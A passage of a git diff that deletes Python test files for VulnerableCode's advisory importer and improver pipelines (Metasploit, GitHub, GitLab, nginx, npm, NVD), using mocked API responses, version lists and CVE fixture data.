import load_json - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "../test_data", "metasploit_improver/modules_metadata_base.json") - - -@pytest.mark.django_db -@mock.patch("requests.get") -def test_metasploit_improver(mock_get): - mock_response = Mock(status_code=200) - mock_response.json.return_value = load_json(TEST_DATA) - mock_get.return_value = mock_response - - improver = MetasploitImproverPipeline() - - # Run the improver when there is no matching aliases - improver.execute() - assert Exploit.objects.count() == 0 - - v1 = Vulnerability.objects.create(vulnerability_id="VCIO-123-2002") - Alias.objects.create(alias="CVE-2007-4387", vulnerability=v1) - - # Run metasploit Improver again when there are matching aliases. - improver.execute() - assert Exploit.objects.count() == 1 - - -@pytest.mark.django_db -@mock.patch("requests.get") -def test_invalid_metasploit_improver(mock_get): - mock_response = Mock(status_code=200) - mock_response.json.return_value = load_json(TEST_DATA) - mock_get.return_value = mock_response - - Alias.objects.create(alias="CVE-2007-4387", vulnerability=None) # Alias without vulnerability - improver = MetasploitImproverPipeline() - status, _ = improver.execute() - assert status == 0 - assert Exploit.objects.count() == 0 diff --git a/vulnerabilities/tests/pipelines/test_flag_ghost_packages.py b/vulnerabilities/tests/pipelines/test_flag_ghost_packages.py deleted file mode 100644 index 1f66878c9..000000000 --- a/vulnerabilities/tests/pipelines/test_flag_ghost_packages.py +++ /dev/null @@ -1,71 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -from pathlib import Path -from unittest import mock - -from django.test import TestCase -from fetchcode.package_versions import PackageVersion -from packageurl import PackageURL - -from vulnerabilities.models import Package -from vulnerabilities.pipelines import flag_ghost_packages -from vulnerabilities.tests.pipelines import TestLogger - - -class FlagGhostPackagePipelineTest(TestCase): - data = Path(__file__).parent.parent / "test_data" - - @mock.patch("vulnerabilities.pipes.fetchcode_utils.versions") - def test_flag_ghost_package(self, mock_fetchcode_versions): - Package.objects.create(type="pypi", name="foo", version="2.3.0") - Package.objects.create(type="pypi", name="foo", version="3.0.0") - - mock_fetchcode_versions.return_value = [ - PackageVersion(value="2.3.0"), - ] - interesting_packages_qs = Package.objects.all() - base_purl = PackageURL(type="pypi", name="foo") - - self.assertEqual(0, Package.objects.filter(is_ghost=True).count()) - - flagged_package_count = flag_ghost_packages.flag_ghost_packages( - base_purl=base_purl, - packages=interesting_packages_qs, - ) - self.assertEqual(1, flagged_package_count) - self.assertEqual(1, Package.objects.filter(is_ghost=True).count()) - - @mock.patch("vulnerabilities.pipes.fetchcode_utils.versions") - def test_detect_and_flag_ghost_packages(self, mock_fetchcode_versions): - Package.objects.create(type="pypi", name="foo", version="2.3.0") - Package.objects.create(type="pypi", name="foo", version="3.0.0") - Package.objects.create( - type="deb", - namespace="debian", - name="foo", - version="3.0.0", - qualifiers={"distro": "trixie"}, - ) - - mock_fetchcode_versions.return_value = [ - PackageVersion(value="2.3.0"), - ] - - self.assertEqual(3, Package.objects.count()) - self.assertEqual(0, Package.objects.filter(is_ghost=True).count()) - - logger = TestLogger() - - flag_ghost_packages.detect_and_flag_ghost_packages(logger=logger.write) - expected = "Successfully flagged 1 ghost Packages" - - self.assertIn(expected, logger.getvalue()) - self.assertEqual(1, Package.objects.filter(is_ghost=True).count()) diff --git a/vulnerabilities/tests/pipelines/test_github_importer_pipeline.py b/vulnerabilities/tests/pipelines/test_github_importer_pipeline.py deleted file mode 100644 index dfa5ea371..000000000 --- a/vulnerabilities/tests/pipelines/test_github_importer_pipeline.py +++ /dev/null @@ -1,355 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from datetime import datetime -from pathlib import Path -from unittest import mock - -import pytest -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import GemVersionRange -from univers.versions import RubygemsVersion - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.improvers.valid_versions import GitHubBasicImprover -from vulnerabilities.pipelines.github_importer import GitHubAPIImporterPipeline -from vulnerabilities.pipelines.github_importer import get_cwes_from_github_advisory -from vulnerabilities.pipelines.github_importer import process_response -from vulnerabilities.tests.pipelines import TestLogger -from vulnerabilities.tests.util_tests import VULNERABLECODE_REGEN_TEST_FIXTURES as REGEN - -TEST_DATA = Path(__file__).parent.parent / "test_data" / "github_api" - - -@pytest.mark.parametrize( - "pkg_type", ["maven", "nuget", "gem", "golang", "composer", "pypi", "npm", "cargo"] -) -def test_process_response_github_importer(pkg_type, regen=REGEN): - response_file = TEST_DATA / f"{pkg_type}.json" - expected_file = TEST_DATA / f"{pkg_type}-expected.json" - with open(response_file) as f: - response = json.load(f) - - result = [data.to_dict() for data in process_response(resp=response, package_type=pkg_type)] - - if regen: - with open(expected_file, "w") as f: - json.dump(result, f, indent=2) - expected = result - else: - with open(expected_file) as f: - expected = json.load(f) - - assert result == expected - - -def test_process_response_with_empty_vulnaribilities(): - logger = TestLogger() - list( - process_response( - {"data": {"securityVulnerabilities": {"edges": []}}}, - "maven", - logger=logger.write, - ) - ) - assert "No vulnerabilities found for package_type: 'maven'" in logger.getvalue() - - -def test_process_response_with_empty_vulnaribilities_2(): - logger = TestLogger() - list( - process_response( - {"data": {"securityVulnerabilities": {"edges": [{"node": {}}, None]}}}, - "maven", - logger=logger.write, - ) - ) - assert "No node found" in logger.getvalue() - - -def test_github_importer_with_missing_credentials(): - with mock.patch.dict(os.environ, {}, clear=True): - github_pipeline = GitHubAPIImporterPipeline() - status, error = github_pipeline.execute() - assert 1 == status - assert ( - "Cannot call GitHub API without a token set in the GH_TOKEN environment variable." - in error - ) - - -@mock.patch("vulnerabilities.utils._get_gh_response") -def test_github_importer_with_missing_credentials_2(mock_response): - mock_response.return_value = {"message": "Bad credentials"} - with mock.patch.dict(os.environ, {"GH_TOKEN": "FOOD"}, clear=True): - github_pipeline = GitHubAPIImporterPipeline() - status, error = github_pipeline.execute() - assert 1 == status - assert "Invalid GitHub token: Bad credentials" in error - - -def valid_versions(): - return [ - "5.2.4.1", - "6.1.4.3", - "6.0.2", - "5.2.1", - "6.0.3", - "7.0.2", - "6.1.4.6", - "5.2.0.beta2", - "6.0.0.beta3", - "5.2.0.beta1", - "5.2.4.4", - "5.2.0", - "6.1.3", - "6.0.0", - "5.2.3.rc1", - "6.0.3.5", - "5.2.6.2", - "6.1.0.rc1", - "5.2.7", - "6.1.2.1", - "7.0.0.rc3", - "6.0.4.7", - "5.2.1.rc1", - "7.0.2.1", - "6.1.4.4", - "5.2.5", - "5.2.4.5", - "7.0.2.2", - "6.0.3.7", - "6.0.4.2", - "6.0.2.2", - "5.2.2.1", - "6.1.4", - "7.0.0.rc2", - "6.0.0.beta2", - "5.2.1.1", - "6.1.4.5", - "6.0.3.1", - "6.0.4.1", - "6.0.2.1", - "5.2.6.1", - "5.2.6.3", - "6.1.5", - "6.0.3.3", - "6.0.3.2", - "5.2.2.rc1", - "6.0.1", - "7.0.0.alpha1", - "5.2.6", - "6.1.3.2", - "6.0.4.6", - "6.1.0.rc2", - "5.2.4.3", - "7.0.1", - "7.0.2.3", - "6.0.4", - "7.0.0.rc1", - "6.1.2", - "5.2.4.6", - "5.2.3", - "6.1.4.2", - "6.0.3.6", - "6.0.4.4", - "7.0.0", - "6.0.4.3", - "6.0.0.rc2", - "5.2.4.rc1", - "0.1", - "6.1.0", - "6.0.1.rc1", - "5.2.4.2", - "6.0.0.beta1", - "5.2.4", - "6.0.4.5", - "6.1.3.1", - "7.0.0.alpha2", - "6.1.1", - "6.0.0.rc1", - "5.2.0.rc2", - "6.1.4.1", - "6.1.4.7", - "5.2.2", - "6.0.2.rc1", - "5.2.0.rc1", - "6.0.3.4", - "6.0.3.rc1", - "6.0.2.rc2", - "10.2.8", - "10.2.1", - ] - - -@mock.patch("vulnerabilities.improvers.valid_versions.GitHubBasicImprover.get_package_versions") -def test_github_improver(mock_response, regen=REGEN): - advisory_data = AdvisoryData( - aliases=["CVE-2022-21831", "GHSA-w749-p3v6-hccq"], - summary="Possible code injection vulnerability in Rails / Active Storage", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="gem", - namespace=None, - name="activestorage", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=GemVersionRange( - constraints=( - VersionConstraint(comparator=">=", version=RubygemsVersion(string="5.2.0")), - VersionConstraint( - comparator="<=", version=RubygemsVersion(string="5.2.6.2") - ), - VersionConstraint(comparator=">=", version=RubygemsVersion(string="6.0.1")), - VersionConstraint( - comparator="<=", version=RubygemsVersion(string="6.0.4.3") - ), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="gem", - namespace=None, - name="activestorage", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=GemVersionRange( - constraints=( - VersionConstraint( - comparator=">=", version=RubygemsVersion(string="10.2.0") - ), - VersionConstraint( - comparator="<=", version=RubygemsVersion(string="10.2.8") - ), - ) - ), - ), - ], - references=[ - Reference( - reference_id="", - url="https://nvd.nist.gov/vuln/detail/CVE-2022-21831", - severities=[], - ), - Reference( - reference_id="", - url="https://github.com/rails/rails/commit/0a72f7d670e9aa77a0bb8584cb1411ddabb7546e", - severities=[], - ), - Reference( - reference_id="", - url="https://groups.google.com/g/rubyonrails-security/c/n-p-W1yxatI", - severities=[], - ), - Reference( - reference_id="", - url="https://rubysec.com/advisories/CVE-2022-21831/", - severities=[], - ), - Reference( - reference_id="GHSA-w749-p3v6-hccq", - url="https://github.com/advisories/GHSA-w749-p3v6-hccq", - severities=[ - VulnerabilitySeverity( - system=severity_systems.CVSS31_QUALITY, - value="HIGH", - ) - ], - ), - ], - date_published=datetime.now(), - ) - mock_response.return_value = list(valid_versions()) - improver = GitHubBasicImprover() - expected_file = os.path.join(TEST_DATA, "inference-expected.json") - - result = [data.to_dict() for data in improver.get_inferences(advisory_data=advisory_data)] - - if regen: - with open(expected_file, "w") as f: - json.dump(result, f, indent=2) - expected = result - else: - with open(expected_file) as f: - expected = json.load(f) - - assert result == expected - - -@mock.patch("fetchcode.package_versions.get_response") -def test_get_package_versions(mock_response): - with open(TEST_DATA.parent / "package_manager_data" / "pypi.json", "r") as f: - mock_response.return_value = json.load(f) - - improver = GitHubBasicImprover() - valid_versions = [ - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.4", - "1.1", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.10", - "1.10.1", - "1.10.2", - "1.10.3", - "1.10.4", - "1.10.5", - "1.10.6", - "1.10.7", - "1.10.8", - "1.10a1", - "1.10b1", - "1.10rc1", - "vulnerabilities", - ] - - result = sorted( - improver.get_package_versions(package_url=PackageURL(type="pypi", name="django")) - ) - expected = sorted(valid_versions) - assert result == expected - - -def test_get_cwes_from_github_advisory(): - assert get_cwes_from_github_advisory( - {"cwes": {"nodes": [{"cweId": "CWE-502"}, {"cweId": "CWE-770"}]}} - ) == [502, 770] - assert get_cwes_from_github_advisory( - { - "cwes": { - "nodes": [ - {"cweId": "CWE-173"}, - {"cweId": "CWE-200"}, - {"cweId": "CWE-378"}, - {"cweId": "CWE-732"}, - ] - } - } - ) == [173, 200, 378, 732] - assert get_cwes_from_github_advisory( - {"cwes": {"nodes": [{"cweId": "CWE-11111111111"}, {"cweId": "CWE-200"}]}} # invalid cwe-id - ) == [200] diff --git a/vulnerabilities/tests/pipelines/test_gitlab_importer_pipeline.py b/vulnerabilities/tests/pipelines/test_gitlab_importer_pipeline.py deleted file mode 100644 index c3dc7be43..000000000 --- a/vulnerabilities/tests/pipelines/test_gitlab_importer_pipeline.py +++ /dev/null @@ -1,78 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -from pathlib import Path -from unittest import mock - -import pytest - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import GitLabBasicImprover -from vulnerabilities.pipelines import gitlab_importer -from vulnerabilities.tests import util_tests -from vulnerabilities.tests.pipelines import TestLogger - -TEST_DATA = Path(__file__).parent.parent / "test_data" / "gitlab" - - -@pytest.mark.parametrize("pkg_type", ["maven", "nuget", "gem", "composer", "pypi", "npm"]) -def test_parse_yaml_file(pkg_type): - response_file = TEST_DATA / f"{pkg_type}.yaml" - expected_file = TEST_DATA / f"{pkg_type}-expected.json" - test_pipeline = gitlab_importer.GitLabImporterPipeline() - logger = TestLogger() - advisory = gitlab_importer.parse_gitlab_advisory( - response_file, - response_file.parent, - test_pipeline.gitlab_scheme_by_purl_type, - test_pipeline.purl_type_by_gitlab_scheme, - logger.write, - ) - util_tests.check_results_against_json(advisory.to_dict(), expected_file) - - -def valid_versions(pkg_type): - valid_versions_by_package_type = { - "maven": [ - "1.0.0", - "1.0.1", - "1.0.2", - "2.0.4", - "9.0.7", - "2.0.5", - "9.0.6", - "9.1.6", - "10.0.0", - ], - "gem": ["4.2.0.beta1", "4.2.0.beta2", "4.2.0.beta3"], - "golang": ["3.7.0", "3.7.1"], - "nuget": ["1.11.0", "1.11.1", "1.11.2", "1.09.1"], - "npm": ["2.14.2", "2.13.2", "2.11.2"], - "pypi": ["1.0", "0.9", "0.8", "1.1"], - "composer": [], - } - return valid_versions_by_package_type[pkg_type] - - -@mock.patch("vulnerabilities.improvers.valid_versions.GitLabBasicImprover.get_package_versions") -@pytest.mark.parametrize("pkg_type", ["maven", "nuget", "gem", "composer", "pypi", "npm"]) -def test_gitlab_improver(mock_response, pkg_type): - advisory_file = TEST_DATA / f"{pkg_type}-expected.json" - expected_file = TEST_DATA / f"{pkg_type}-improver-expected.json" - with advisory_file.open() as exp: - advisory = AdvisoryData.from_dict(json.load(exp)) - mock_response.return_value = list(valid_versions(pkg_type)) - improvers = [GitLabBasicImprover(), DefaultImprover()] - result = [] - for improver in improvers: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/pipelines/test_nginx_importer_pipeline.py b/vulnerabilities/tests/pipelines/test_nginx_importer_pipeline.py deleted file mode 100644 index 80f3705bf..000000000 --- a/vulnerabilities/tests/pipelines/test_nginx_importer_pipeline.py +++ /dev/null @@ -1,241 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -from pathlib import Path -from unittest import mock - -import pytest -from bs4 import BeautifulSoup -from commoncode import testcase -from django.db.models.query import QuerySet -from univers.version_range import NginxVersionRange - -from vulnerabilities import models -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.improvers.valid_versions import NginxBasicImprover -from vulnerabilities.models import Advisory -from vulnerabilities.pipelines import nginx_importer -from vulnerabilities.tests import util_tests -from vulnerabilities.utils import is_vulnerable_nginx_version - -ADVISORY_FIELDS_TO_TEST = ( - "unique_content_id", - "summary", - "affected_packages", - "references", - "date_published", - "weaknesses", -) - - -class TestNginxImporterAndImprover(testcase.FileBasedTesting): - test_data_dir = Path(__file__).parent.parent / "test_data" / "nginx" - - def test_is_vulnerable(self): - # Not vulnerable: 1.17.3+, 1.16.1+ - # Vulnerable: 1.9.5-1.17.2 - - vcls = NginxVersionRange.version_class - affected_version_range = NginxVersionRange.from_native("1.9.5-1.17.2") - fixed_versions = [vcls("1.17.3"), vcls("1.16.1")] - - version = vcls("1.9.4") - assert not is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.9.5") - assert is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.9.6") - assert is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.16.0") - assert is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.16.1") - assert not is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.16.2") - assert not is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.16.99") - assert not is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.17.0") - assert is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.17.1") - assert is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.17.2") - assert is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.17.3") - assert not is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.17.4") - assert not is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - version = vcls("1.18.0") - assert not is_vulnerable_nginx_version(version, affected_version_range, fixed_versions) - - def test_parse_advisory_data_from_paragraph(self): - paragraph = ( - "

    1-byte memory overwrite in resolver" - "
    Severity: medium
    " - 'Advisory' - "
    " - 'CVE-2021-23017' - "
    Not vulnerable: 1.21.0+, 1.20.1+
    " - "Vulnerable: 0.6.18-1.20.0
    " - '' - 'The patch  pgp' - "

    " - ) - vuln_info = BeautifulSoup(paragraph, features="lxml").p - expected = { - "aliases": ["CVE-2021-23017"], - "summary": "1-byte memory overwrite in resolver", - "advisory_severity": VulnerabilitySeverity( - system=severity_systems.GENERIC, value="medium" - ), - "not_vulnerable": "Not vulnerable: 1.21.0+, 1.20.1+", - "vulnerable": "Vulnerable: 0.6.18-1.20.0", - "references": [ - Reference( - reference_id="", - url="http://mailman.nginx.org/pipermail/nginx-announce/2021/000300.html", - severities=[ - VulnerabilitySeverity(system=severity_systems.GENERIC, value="medium") - ], - ), - Reference( - reference_id="CVE-2021-23017", - url="https://nvd.nist.gov/vuln/detail/CVE-2021-23017", - ), - Reference( - reference_id="", - url="https://nginx.org/download/patch.2021.resolver.txt", - ), - Reference( - reference_id="", url="https://nginx.org/download/patch.2021.resolver.txt.asc" - ), - ], - } - - result = nginx_importer.parse_advisory_data_from_paragraph(vuln_info) - assert result.to_dict() == expected - - def test_collect_advisories(self): - test_file = self.get_test_loc("security_advisories.html") - with open(test_file) as tf: - test_text = tf.read() - - expected_file = self.get_test_loc( - "security_advisories-advisory_data-expected.json", must_exist=False - ) - - test_pipeline = nginx_importer.NginxImporterPipeline() - test_pipeline.advisory_data = test_text - results = [na.to_dict() for na in test_pipeline.collect_advisories()] - util_tests.check_results_against_json(results, expected_file) - - @pytest.mark.django_db(transaction=True) - def test_NginxImporterPipeline_collect_and_store_advisories(self): - test_file = self.get_test_loc("security_advisories.html") - with open(test_file) as tf: - test_text = tf.read() - - test_pipeline = nginx_importer.NginxImporterPipeline() - test_pipeline.advisory_data = test_text - - expected_file = self.get_test_loc( - "security_advisories-importer-expected.json", must_exist=False - ) - - test_pipeline.collect_and_store_advisories() - - results = list(models.Advisory.objects.all().values(*ADVISORY_FIELDS_TO_TEST)) - util_tests.check_results_against_json(results, expected_file) - - # run again as there should be no duplicates - test_pipeline.collect_and_store_advisories() - - results = list(models.Advisory.objects.all().values(*ADVISORY_FIELDS_TO_TEST)) - util_tests.check_results_against_json(results, expected_file) - - @pytest.mark.django_db(transaction=True) - def test_NginxBasicImprover__interesting_advisories(self): - test_file = self.get_test_loc("security_advisories.html") - with open(test_file) as tf: - test_text = tf.read() - - test_pipeline = nginx_importer.NginxImporterPipeline() - test_pipeline.advisory_data = test_text - advisories = list(models.Advisory.objects.all().values(*ADVISORY_FIELDS_TO_TEST)) - - class MockNginxBasicImprover(NginxBasicImprover): - @property - def interesting_advisories(self) -> QuerySet: - return Advisory.objects.filter(created_by=test_pipeline.pipeline_id) - - improver = MockNginxBasicImprover() - interesting_advisories = list( - improver.interesting_advisories.values(*ADVISORY_FIELDS_TO_TEST) - ) - assert interesting_advisories == advisories - - @mock.patch("fetchcode.utils.github_response") - def test_NginxBasicImprover_fetch_nginx_version_from_git_tags(self, mock_fetcher): - reponse_files = [ - "github-nginx-nginx-0.json", - "github-nginx-nginx-1.json", - "github-nginx-nginx-2.json", - "github-nginx-nginx-3.json", - "github-nginx-nginx-4.json", - "github-nginx-nginx-5.json", - ] - side_effects = [] - for response_file in reponse_files: - with open(self.get_test_loc(f"improver/{response_file}")) as f: - side_effects.append(json.load(f)) - mock_fetcher.side_effect = side_effects - - results = list(NginxBasicImprover().fetch_nginx_version_from_git_tags()) - expected_file = self.get_test_loc("improver/nginx-versions-expected.json", must_exist=False) - util_tests.check_results_against_json(results, expected_file) - - @pytest.mark.django_db(transaction=True) - def test_NginxBasicImprover__get_inferences_from_versions_end_to_end(self): - - with open(self.get_test_loc("improver/improver-advisories.json")) as vf: - advisories_data = json.load(vf) - - with open(self.get_test_loc("improver/improver-versions.json")) as vf: - all_versions = [vd["value"] for vd in json.load(vf)] - - results = [] - improver = NginxBasicImprover() - for advdata in advisories_data: - advisory_data = AdvisoryData.from_dict(advdata) - - inferences = improver.get_inferences_from_versions( - advisory_data=advisory_data, all_versions=all_versions - ) - for i in inferences: - i.vulnerability_id = "PLAIN-ID-FOR-TESTING" - results.append(i.to_dict()) - - expected_file = self.get_test_loc( - "improver/improver-inferences-expected.json", must_exist=False - ) - util_tests.check_results_against_json(results, expected_file) diff --git a/vulnerabilities/tests/pipelines/test_npm_importer_pipeline.py b/vulnerabilities/tests/pipelines/test_npm_importer_pipeline.py deleted file mode 100644 index bcfb83f62..000000000 --- a/vulnerabilities/tests/pipelines/test_npm_importer_pipeline.py +++ /dev/null @@ -1,79 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -# Author: Navonil Das (@NavonilDas) - -import json -import os -from pathlib import Path -from unittest.mock import patch - -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import NpmVersionRange -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import NpmImprover -from vulnerabilities.pipelines.npm_importer import NpmImporterPipeline -from vulnerabilities.tests import util_tests -from vulnerabilities.utils import load_json - -TEST_DATA = data = Path(__file__).parent.parent / "test_data" / "npm" - - -def test_npm_importer(): - file = os.path.join(TEST_DATA, "npm_sample.json") - result = [adv.to_dict() for adv in NpmImporterPipeline().to_advisory_data(file=file)] - expected_file = os.path.join(TEST_DATA, f"parse-advisory-npm-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -def test_get_affected_package(): - file = os.path.join(TEST_DATA, "npm_sample.json") - data = load_json(file) - assert AffectedPackage( - package=PackageURL( - type="npm", namespace=None, name="npm", version=None, qualifiers={}, subpath=None - ), - affected_version_range=NpmVersionRange( - constraints=(VersionConstraint(comparator="<", version=SemverVersion(string="1.3.3")),) - ), - fixed_version=SemverVersion(string="1.3.3"), - ) == NpmImporterPipeline().get_affected_package(data, "npm") - - -@patch("vulnerabilities.improvers.valid_versions.NpmImprover.get_package_versions") -def test_npm_improver(mock_response): - advisory_file = os.path.join(TEST_DATA, f"parse-advisory-npm-expected.json") - with open(advisory_file) as exp: - advisories = [AdvisoryData.from_dict(adv) for adv in (json.load(exp))] - mock_response.return_value = [ - "0.1.0", - "0.5.6", - "0.5.2", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.1.7", - "1.1.8", - ] - improvers = [NpmImprover(), DefaultImprover()] - result = [] - for improver in improvers: - for advisory in advisories: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - expected_file = os.path.join(TEST_DATA, f"npm-improver-expected.json") - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/pipelines/test_nvd_importer_pipeline.py b/vulnerabilities/tests/pipelines/test_nvd_importer_pipeline.py deleted file mode 100644 index 15ecb462b..000000000 --- a/vulnerabilities/tests/pipelines/test_nvd_importer_pipeline.py +++ /dev/null @@ -1,617 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -from pathlib import Path - -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.pipelines import nvd_importer -from vulnerabilities.severity_systems import Cvssv2ScoringSystem -from vulnerabilities.severity_systems import Cvssv3ScoringSystem -from vulnerabilities.severity_systems import Cvssv4ScoringSystem -from vulnerabilities.tests.util_tests import VULNERABLECODE_REGEN_TEST_FIXTURES as REGEN - -TEST_DATA = Path(__file__).parent.parent / "test_data" / "nvd" - - -def load_test_data(file): - with open(file) as f: - return json.load(f) - - -def sorted_advisory_data(advisory_data): - """ - Return ``advisory_data`` of AdvisoryData mappings where each mapping nested - list is sorted for stable testing results. - """ - sorter = lambda dct: tuple(dct.items()) - for data in advisory_data: - data["aliases"] = sorted(data["aliases"]) - data["affected_packages"] = sorted(data["affected_packages"], key=sorter) - data["references"] = sorted(data["references"], key=sorter) - return advisory_data - - -def test_to_advisories_skips_hardware(regen=REGEN): - expected_file = TEST_DATA / "nvd-expected.json" - - test_file = TEST_DATA / "nvd_test.json" - test_data = load_test_data(file=test_file) - result = [data.to_dict() for data in nvd_importer.to_advisories(test_data)] - result = sorted_advisory_data(result) - - if regen: - with open(expected_file, "w") as f: - json.dump(result, f, indent=2) - expected = result - else: - with open(expected_file) as f: - expected = json.load(f) - expected = sorted_advisory_data(expected) - - assert result == expected - - -def test_to_advisories_marks_rejected_cve(regen=REGEN): - expected_file = TEST_DATA / "nvd-rejected-expected.json" - - test_file = TEST_DATA / "rejected_nvd.json" - test_data = load_test_data(file=test_file) - result = [data.to_dict() for data in nvd_importer.to_advisories(test_data)] - result = sorted_advisory_data(result) - - if regen: - with open(expected_file, "w") as f: - json.dump(result, f, indent=2) - expected = result - else: - with open(expected_file) as f: - expected = json.load(f) - expected = sorted_advisory_data(expected) - - assert result == expected - - -# TODO: use a JSON fixtures instead -def get_test_cve_item(): - return { - "cve": { - "id": "CVE-2025-45988", - "sourceIdentifier": "cve@mitre.org", - "published": "2025-06-13T12:15:34.403", - "lastModified": "2025-07-10T12:16:15.107", - "vulnStatus": "Analyzed", - "cveTags": [], - "descriptions": [ - { - "lang": "en", - "value": "Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain multiple command injection vulnerabilities via the cmd parameter in the bs_SetCmd function.", - }, - { - "lang": "es", - "value": "Se descubrió que los enrutadores Blink BL-WR9000 V2.4.9, BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5, BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 y BL-X26_DA3 v1.2.7 contenían múltiples vulnerabilidades de inyección de comandos a través del parámetro cmd en la función bs_SetCmd.", - }, - ], - "metrics": { - "cvssMetricV40": [ - { - "source": "cna@vuldb.com", - "type": "Secondary", - "cvssData": { - "version": "4.0", - "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", - "baseScore": 5.3, - "baseSeverity": "MEDIUM", - "attackVector": "NETWORK", - "attackComplexity": "LOW", - "attackRequirements": "NONE", - "privilegesRequired": "LOW", - "userInteraction": "NONE", - "vulnConfidentialityImpact": "LOW", - "vulnIntegrityImpact": "LOW", - "vulnAvailabilityImpact": "LOW", - "subConfidentialityImpact": "NONE", - "subIntegrityImpact": "NONE", - "subAvailabilityImpact": "NONE", - "exploitMaturity": "NOT_DEFINED", - "confidentialityRequirement": "NOT_DEFINED", - "integrityRequirement": "NOT_DEFINED", - "availabilityRequirement": "NOT_DEFINED", - "modifiedAttackVector": "NOT_DEFINED", - "modifiedAttackComplexity": "NOT_DEFINED", - "modifiedAttackRequirements": "NOT_DEFINED", - "modifiedPrivilegesRequired": "NOT_DEFINED", - "modifiedUserInteraction": "NOT_DEFINED", - "modifiedVulnConfidentialityImpact": "NOT_DEFINED", - 